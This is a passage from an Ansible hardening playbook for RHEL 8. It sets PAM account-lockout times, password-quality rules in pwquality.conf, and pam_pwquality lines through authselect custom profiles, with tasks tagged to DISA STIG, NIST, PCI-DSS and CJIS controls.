          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - result_pam_authselect_restore_features is not skipped

        - name: Set Lockout Time for Failed Password Attempts - Change the PAM file
            to be edited according to the custom authselect profile
          ansible.builtin.set_fact:
            pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
              | basename }}
          when:
          - authselect_custom_profile is defined
        when:
        - result_authselect_present.stat.exists

      - name: Set Lockout Time for Failed Password Attempts - Define a fact for control
          already filtered in case filters are used
        ansible.builtin.set_fact:
          pam_module_control: ''

      - name: Set Lockout Time for Failed Password Attempts - Check if {{ pam_file_path
          }} file is present
        ansible.builtin.stat:
          path: '{{ pam_file_path }}'
        register: result_pam_file_present

      - name: Set Lockout Time for Failed Password Attempts - Ensure the &quot;unlock_time&quot;
          option from &quot;pam_faillock.so&quot; is not present in {{ pam_file_path }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: (.*auth.*pam_faillock.so.*)\bunlock_time\b=?[0-9a-zA-Z]*(.*)
          replace: \1\2
        register: result_pam_option_removal
        when:
        - result_pam_file_present.stat.exists

      - name: Set Lockout Time for Failed Password Attempts - Ensure authselect changes
          are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present.stat.exists
        - result_pam_option_removal is changed
      when:
      - result_pam_password_auth_file_present.stat.exists
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_faillock_conf_check.stat.exists
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020014
    - DISA-STIG-RHEL-08-020015
    - NIST-800-171-3.1.8
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.7
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - accounts_passwords_pam_faillock_unlock_time
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Lockout Time for Failed Password Attempts - Ensure the pam_faillock.so
      unlock_time parameter in PAM files
    block:

    - name: Set Lockout Time for Failed Password Attempts - Check if pam_faillock.so
        unlock_time parameter is already enabled in pam files
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail).*unlock_time
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_unlock_time_parameter_is_present

    - name: Set Lockout Time for Failed Password Attempts - Ensure the inclusion of
        pam_faillock.so preauth unlock_time parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so preauth.*)
        line: \1required\3 unlock_time={{ var_accounts_passwords_pam_faillock_unlock_time
          }}
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_unlock_time_parameter_is_present.found == 0

    - name: Set Lockout Time for Failed Password Attempts - Ensure the inclusion of
        pam_faillock.so authfail unlock_time parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so authfail.*)
        line: \1required\3 unlock_time={{ var_accounts_passwords_pam_faillock_unlock_time
          }}
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_unlock_time_parameter_is_present.found == 0

    - name: Set Lockout Time for Failed Password Attempts - Ensure the desired value
        for pam_faillock.so preauth unlock_time parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so preauth.*)(unlock_time)=[0-9]+(.*)
        line: \1required\3\4={{ var_accounts_passwords_pam_faillock_unlock_time }}\5
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_unlock_time_parameter_is_present.found &gt; 0

    - name: Set Lockout Time for Failed Password Attempts - Ensure the desired value
        for pam_faillock.so authfail unlock_time parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so authfail.*)(unlock_time)=[0-9]+(.*)
        line: \1required\3\4={{ var_accounts_passwords_pam_faillock_unlock_time }}\5
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_unlock_time_parameter_is_present.found &gt; 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - not result_faillock_conf_check.stat.exists
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020014
    - DISA-STIG-RHEL-08-020015
    - NIST-800-171-3.1.8
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-8.1.7
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.4
    - accounts_passwords_pam_faillock_unlock_time
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure PAM Enforces Password Requirements - Minimum Digit Characters - Ensure
      PAM variable dcredit is set accordingly
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/security/pwquality.conf
      regexp: ^#?\s*dcredit
      line: dcredit = {{ var_password_pam_dcredit }}
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020130
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(a)
    - NIST-800-53-IA-5(4)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.3
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.6
    - accounts_password_pam_dcredit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure PAM Enforces Password Requirements - Prevent the Use of Dictionary
      Words - Ensure PAM variable dictcheck is set accordingly
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/security/pwquality.conf
      regexp: ^#?\s*dictcheck
      line: dictcheck = {{ var_password_pam_dictcheck }}
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020300
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(a)
    - NIST-800-53-IA-5(4)
    - NIST-800-53-IA-5(c)
    - accounts_password_pam_dictcheck
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure PAM Enforces Password Requirements - Minimum Different Characters
      - Ensure PAM variable difok is set accordingly
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/security/pwquality.conf
      regexp: ^#?\s*difok
      line: difok = {{ var_password_pam_difok }}
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.6.2.1.1
    - DISA-STIG-RHEL-08-020170
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(b)
    - NIST-800-53-IA-5(4)
    - NIST-800-53-IA-5(c)
    - accounts_password_pam_difok
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure PAM Enforces Password Requirements - Minimum Lowercase Characters
      - Ensure PAM variable lcredit is set accordingly
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/security/pwquality.conf
      regexp: ^#?\s*lcredit
      line: lcredit = {{ var_password_pam_lcredit }}
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020120
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(a)
    - NIST-800-53-IA-5(4)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.3
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.6
    - accounts_password_pam_lcredit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure PAM Enforces Password Requirements - Maximum Consecutive Repeating
      Characters from Same Character Class - Ensure PAM variable maxclassrepeat is
      set accordingly
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/security/pwquality.conf
      regexp: ^#?\s*maxclassrepeat
      line: maxclassrepeat = {{ var_password_pam_maxclassrepeat }}
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020140
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(a)
    - NIST-800-53-IA-5(4)
    - NIST-800-53-IA-5(c)
    - accounts_password_pam_maxclassrepeat
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Password Maximum Consecutive Repeating Characters - Ensure PAM variable
      maxrepeat is set accordingly
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/security/pwquality.conf
      regexp: ^#?\s*maxrepeat
      line: maxrepeat = {{ var_password_pam_maxrepeat }}
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020150
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - NIST-800-53-IA-5(c)
    - accounts_password_pam_maxrepeat
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure PAM Enforces Password Requirements - Minimum Different Categories
      - Ensure PAM variable minclass is set accordingly
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/security/pwquality.conf
      regexp: ^#?\s*minclass
      line: minclass = {{ var_password_pam_minclass }}
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020160
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(a)
    - NIST-800-53-IA-5(4)
    - NIST-800-53-IA-5(c)
    - accounts_password_pam_minclass
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure PAM Enforces Password Requirements - Minimum Length - Ensure PAM
      variable minlen is set accordingly
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/security/pwquality.conf
      regexp: ^#?\s*minlen
      line: minlen = {{ var_password_pam_minlen }}
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.6.2.1.1
    - DISA-STIG-RHEL-08-020230
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(a)
    - NIST-800-53-IA-5(4)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.3
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.6
    - accounts_password_pam_minlen
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure PAM Enforces Password Requirements - Minimum Special Characters -
      Ensure PAM variable ocredit is set accordingly
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/security/pwquality.conf
      regexp: ^#?\s*ocredit
      line: ocredit = {{ var_password_pam_ocredit }}
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020280
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(a)
    - NIST-800-53-IA-5(4)
    - NIST-800-53-IA-5(c)
    - accounts_password_pam_ocredit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure PAM password complexity module is enabled in password-auth - Check
      if /etc/pam.d/password-auth file is present
    ansible.builtin.stat:
      path: /etc/pam.d/password-auth
    register: result_pam_password_auth_file_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020100
    - accounts_password_pam_pwquality_password_auth
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM password complexity module is enabled in password-auth - Check
      the proper remediation for the system
    block:

    - name: Ensure PAM password complexity module is enabled in password-auth - Define
        the PAM file to be edited as a local fact
      ansible.builtin.set_fact:
        pam_file_path: /etc/pam.d/password-auth

    - name: Ensure PAM password complexity module is enabled in password-auth - Check
        if system relies on authselect tool
      ansible.builtin.stat:
        path: /usr/bin/authselect
      register: result_authselect_present

    - name: Ensure PAM password complexity module is enabled in password-auth - Ensure
        authselect custom profile is used if authselect is present
      block:

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Check integrity of authselect current profile
        ansible.builtin.command:
          cmd: authselect check
        register: result_authselect_check_cmd
        changed_when: false
        check_mode: false
        failed_when: false

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Informative message based on the authselect integrity check result
        ansible.builtin.assert:
          that:
          - ansible_check_mode or result_authselect_check_cmd.rc == 0
          fail_msg:
          - authselect integrity check failed. Remediation aborted!
          - This remediation could not be applied because an authselect profile was
            not selected or the selected profile is not intact.
          - It is not recommended to manually edit the PAM files when authselect tool
            is available.
          - In cases where the default authselect profile does not cover a specific
            demand, a custom authselect profile is recommended.
          success_msg:
          - authselect integrity check passed

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Get authselect current profile
        ansible.builtin.shell:
          cmd: authselect current -r | awk '{ print $1 }'
        register: result_authselect_profile
        changed_when: false
        when:
        - result_authselect_check_cmd is success

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Define the current authselect profile as a local fact
        ansible.builtin.set_fact:
          authselect_current_profile: '{{ result_authselect_profile.stdout }}'
          authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
        when:
        - result_authselect_profile is not skipped
        - result_authselect_profile.stdout is match(&quot;custom/&quot;)

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Define the new authselect custom profile as a local fact
        ansible.builtin.set_fact:
          authselect_current_profile: '{{ result_authselect_profile.stdout }}'
          authselect_custom_profile: custom/hardening
        when:
        - result_authselect_profile is not skipped
        - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Get authselect current features to also enable them in the custom profile
        ansible.builtin.shell:
          cmd: authselect current | tail -n+3 | awk '{ print $2 }'
        register: result_authselect_features
        changed_when: false
        check_mode: false
        when:
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Check if any custom profile with the same name was already created
        ansible.builtin.stat:
          path: /etc/authselect/{{ authselect_custom_profile }}
        register: result_authselect_custom_profile_present
        changed_when: false
        when:
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Create an authselect custom profile based on the current profile
        ansible.builtin.command:
          cmd: authselect create-profile hardening -b {{ authselect_current_profile
            }}
        when:
        - result_authselect_profile is not skipped
        - result_authselect_check_cmd is success
        - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
        - not result_authselect_custom_profile_present.stat.exists

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Create an authselect custom profile based on sssd profile
        ansible.builtin.command:
          cmd: authselect create-profile hardening -b sssd
        when:
        - result_authselect_profile is not skipped
        - result_authselect_check_cmd is success
        - authselect_current_profile is match(&quot;local&quot;)
        - not result_authselect_custom_profile_present.stat.exists

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Ensure authselect changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)
        - authselect_custom_profile is not match(authselect_current_profile)

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Ensure the authselect custom profile is selected
        ansible.builtin.command:
          cmd: authselect select {{ authselect_custom_profile }}
        register: result_pam_authselect_select_profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)
        - authselect_custom_profile is not match(authselect_current_profile)

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Restore the authselect features in the custom profile
        ansible.builtin.command:
          cmd: authselect enable-feature {{ item }}
        loop: '{{ result_authselect_features.stdout_lines }}'
        register: result_pam_authselect_restore_features
        when:
        - result_authselect_profile is not skipped
        - result_authselect_features is not skipped
        - result_pam_authselect_select_profile is not skipped

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Ensure authselect changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - result_pam_authselect_restore_features is not skipped

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Change the PAM file to be edited according to the custom authselect profile
        ansible.builtin.set_fact:
          pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
            | basename }}
        when:
        - authselect_custom_profile is defined
      when:
      - result_authselect_present.stat.exists

    - name: Ensure PAM password complexity module is enabled in password-auth - Define
        a fact for control already filtered in case filters are used
      ansible.builtin.set_fact:
        pam_module_control: requisite

    - name: Ensure PAM password complexity module is enabled in password-auth - Check
        if expected PAM module line is present in {{ pam_file_path }}
      ansible.builtin.lineinfile:
        path: '{{ pam_file_path }}'
        regexp: ^\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_pwquality.so\s*.*
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_line_present

    - name: Ensure PAM password complexity module is enabled in password-auth - Include
        or update the PAM module line in {{ pam_file_path }}
      block:

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Check if required PAM module line is present in {{ pam_file_path }} with
          different control
        ansible.builtin.lineinfile:
          path: '{{ pam_file_path }}'
          regexp: ^\s*password\s+.*\s+pam_pwquality.so\s*
          state: absent
        check_mode: true
        changed_when: false
        register: result_pam_line_other_control_present

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Ensure the correct control for the required PAM module line in {{ pam_file_path
          }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: ^(\s*password\s+).*(\bpam_pwquality.so.*)
          replace: \1{{ pam_module_control }} \2
        register: result_pam_module_edit
        when:
        - result_pam_line_other_control_present.found == 1

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Ensure the required PAM module line is included in {{ pam_file_path }}
        ansible.builtin.lineinfile:
          dest: '{{ pam_file_path }}'
          insertafter: ^account.*required.*pam_permit\.so
          line: password    {{ pam_module_control }}    pam_pwquality.so
        register: result_pam_module_add
        when:
        - result_pam_line_other_control_present.found == 0 or result_pam_line_other_control_present.found
          &gt; 1

      - name: Ensure PAM password complexity module is enabled in password-auth -
          Ensure authselect changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present is defined
        - result_authselect_present.stat.exists
        - |-
          (result_pam_module_add is defined and result_pam_module_add.changed)
           or (result_pam_module_edit is defined and result_pam_module_edit.changed)
      when:
      - result_pam_line_present.found is defined
      - result_pam_line_present.found == 0

    - name: Ensure PAM password complexity module is enabled in password-auth - Ensure
        authselect changes are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_present.stat.exists
      - |-
        (result_pam_accounts_password_pam_pwquality_password_auth_add is defined and result_pam_accounts_password_pam_pwquality_password_auth_add.changed)
         or (result_pam_accounts_password_pam_pwquality_password_auth_edit is defined and result_pam_accounts_password_pam_pwquality_password_auth_edit.changed)
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    - result_pam_password_auth_file_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020100
    - accounts_password_pam_pwquality_password_auth
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM password complexity module is enabled in system-auth - Check
      if /etc/pam.d/system-auth file is present
    ansible.builtin.stat:
      path: /etc/pam.d/system-auth
    register: result_pam_auth_file_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020101
    - accounts_password_pam_pwquality_system_auth
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM password complexity module is enabled in system-auth - Check
      the proper remediation for the system
    block:

    - name: Ensure PAM password complexity module is enabled in system-auth - Define
        the PAM file to be edited as a local fact
      ansible.builtin.set_fact:
        pam_file_path: /etc/pam.d/system-auth

    - name: Ensure PAM password complexity module is enabled in system-auth - Check
        if system relies on authselect tool
      ansible.builtin.stat:
        path: /usr/bin/authselect
      register: result_authselect_present

    - name: Ensure PAM password complexity module is enabled in system-auth - Ensure
        authselect custom profile is used if authselect is present
      block:

      - name: Ensure PAM password complexity module is enabled in system-auth - Check
          integrity of authselect current profile
        ansible.builtin.command:
          cmd: authselect check
        register: result_authselect_check_cmd
        changed_when: false
        check_mode: false
        failed_when: false

      - name: Ensure PAM password complexity module is enabled in system-auth - Informative
          message based on the authselect integrity check result
        ansible.builtin.assert:
          that:
          - ansible_check_mode or result_authselect_check_cmd.rc == 0
          fail_msg:
          - authselect integrity check failed. Remediation aborted!
          - This remediation could not be applied because an authselect profile was
            not selected or the selected profile is not intact.
          - It is not recommended to manually edit the PAM files when authselect tool
            is available.
          - In cases where the default authselect profile does not cover a specific
            demand, a custom authselect profile is recommended.
          success_msg:
          - authselect integrity check passed

      - name: Ensure PAM password complexity module is enabled in system-auth - Get
          authselect current profile
        ansible.builtin.shell:
          cmd: authselect current -r | awk '{ print $1 }'
        register: result_authselect_profile
        changed_when: false
        when:
        - result_authselect_check_cmd is success

      - name: Ensure PAM password complexity module is enabled in system-auth - Define
          the current authselect profile as a local fact
        ansible.builtin.set_fact:
          authselect_current_profile: '{{ result_authselect_profile.stdout }}'
          authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
        when:
        - result_authselect_profile is not skipped
        - result_authselect_profile.stdout is match(&quot;custom/&quot;)

      - name: Ensure PAM password complexity module is enabled in system-auth - Define
          the new authselect custom profile as a local fact
        ansible.builtin.set_fact:
          authselect_current_profile: '{{ result_authselect_profile.stdout }}'
          authselect_custom_profile: custom/hardening
        when:
        - result_authselect_profile is not skipped
        - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

      - name: Ensure PAM password complexity module is enabled in system-auth - Get
          authselect current features to also enable them in the custom profile
        ansible.builtin.shell:
          cmd: authselect current | tail -n+3 | awk '{ print $2 }'
        register: result_authselect_features
        changed_when: false
        check_mode: false
        when:
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)

      - name: Ensure PAM password complexity module is enabled in system-auth - Check
          if any custom profile with the same name was already created
        ansible.builtin.stat:
          path: /etc/authselect/{{ authselect_custom_profile }}
        register: result_authselect_custom_profile_present
        changed_when: false
        when:
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)

      - name: Ensure PAM password complexity module is enabled in system-auth - Create
          an authselect custom profile based on the current profile
        ansible.builtin.command:
          cmd: authselect create-profile hardening -b {{ authselect_current_profile
            }}
        when:
        - result_authselect_profile is not skipped
        - result_authselect_check_cmd is success
        - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
        - not result_authselect_custom_profile_present.stat.exists

      - name: Ensure PAM password complexity module is enabled in system-auth - Create
          an authselect custom profile based on sssd profile
        ansible.builtin.command:
          cmd: authselect create-profile hardening -b sssd
        when:
        - result_authselect_profile is not skipped
        - result_authselect_check_cmd is success
        - authselect_current_profile is match(&quot;local&quot;)
        - not result_authselect_custom_profile_present.stat.exists

      - name: Ensure PAM password complexity module is enabled in system-auth - Ensure
          authselect changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)
        - authselect_custom_profile is not match(authselect_current_profile)

      - name: Ensure PAM password complexity module is enabled in system-auth - Ensure
          the authselect custom profile is selected
        ansible.builtin.command:
          cmd: authselect select {{ authselect_custom_profile }}
        register: result_pam_authselect_select_profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)
        - authselect_custom_profile is not match(authselect_current_profile)

      - name: Ensure PAM password complexity module is enabled in system-auth - Restore
          the authselect features in the custom profile
        ansible.builtin.command:
          cmd: authselect enable-feature {{ item }}
        loop: '{{ result_authselect_features.stdout_lines }}'
        register: result_pam_authselect_restore_features
        when:
        - result_authselect_profile is not skipped
        - result_authselect_features is not skipped
        - result_pam_authselect_select_profile is not skipped

      - name: Ensure PAM password complexity module is enabled in system-auth - Ensure
          authselect changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - result_pam_authselect_restore_features is not skipped

      - name: Ensure PAM password complexity module is enabled in system-auth - Change
          the PAM file to be edited according to the custom authselect profile
        ansible.builtin.set_fact:
          pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
            | basename }}
        when:
        - authselect_custom_profile is defined
      when:
      - result_authselect_present.stat.exists

    - name: Ensure PAM password complexity module is enabled in system-auth - Define
        a fact for control already filtered in case filters are used
      ansible.builtin.set_fact:
        pam_module_control: requisite

    - name: Ensure PAM password complexity module is enabled in system-auth - Check
        if expected PAM module line is present in {{ pam_file_path }}
      ansible.builtin.lineinfile:
        path: '{{ pam_file_path }}'
        regexp: ^\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_pwquality.so\s*.*
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_line_present

    - name: Ensure PAM password complexity module is enabled in system-auth - Include
        or update the PAM module line in {{ pam_file_path }}
      block:

      - name: Ensure PAM password complexity module is enabled in system-auth - Check
          if required PAM module line is present in {{ pam_file_path }} with different
          control
        ansible.builtin.lineinfile:
          path: '{{ pam_file_path }}'
          regexp: ^\s*password\s+.*\s+pam_pwquality.so\s*
          state: absent
        check_mode: true
        changed_when: false
        register: result_pam_line_other_control_present

      - name: Ensure PAM password complexity module is enabled in system-auth - Ensure
          the correct control for the required PAM module line in {{ pam_file_path
          }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: ^(\s*password\s+).*(\bpam_pwquality.so.*)
          replace: \1{{ pam_module_control }} \2
        register: result_pam_module_edit
        when:
        - result_pam_line_other_control_present.found == 1

      - name: Ensure PAM password complexity module is enabled in system-auth - Ensure
          the required PAM module line is included in {{ pam_file_path }}
        ansible.builtin.lineinfile:
          dest: '{{ pam_file_path }}'
          insertafter: ^account.*required.*pam_permit\.so
          line: password    {{ pam_module_control }}    pam_pwquality.so
        register: result_pam_module_add
        when:
        - result_pam_line_other_control_present.found == 0 or result_pam_line_other_control_present.found
          &gt; 1

      - name: Ensure PAM password complexity module is enabled in system-auth - Ensure
          authselect changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present is defined
        - result_authselect_present.stat.exists
        - |-
          (result_pam_module_add is defined and result_pam_module_add.changed)
           or (result_pam_module_edit is defined and result_pam_module_edit.changed)
      when:
      - result_pam_line_present.found is defined
      - result_pam_line_present.found == 0

    - name: Ensure PAM password complexity module is enabled in system-auth - Ensure
        authselect changes are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_present.stat.exists
      - |-
        (result_pam_accounts_password_pam_pwquality_system_auth_add is defined and result_pam_accounts_password_pam_pwquality_system_auth_add.changed)
         or (result_pam_accounts_password_pam_pwquality_system_auth_edit is defined and result_pam_accounts_password_pam_pwquality_system_auth_edit.changed)
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    - result_pam_auth_file_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020101
    - accounts_password_pam_pwquality_system_auth
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
      Permitted Per-Session - Define a fact for control already filtered in case filters
      are used
    ansible.builtin.set_fact:
      pam_module_control: requisite
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020104
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - accounts_password_pam_retry
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
      Permitted Per-Session - Check if expected PAM module line is present in /etc/pam.d/password-auth
    ansible.builtin.lineinfile:
      path: /etc/pam.d/password-auth
      regexp: ^\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_pwquality.so\s*.*
      state: absent
    check_mode: true
    changed_when: false
    register: result_pam_line_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020104
    - NIST-800-53-AC-7(a)
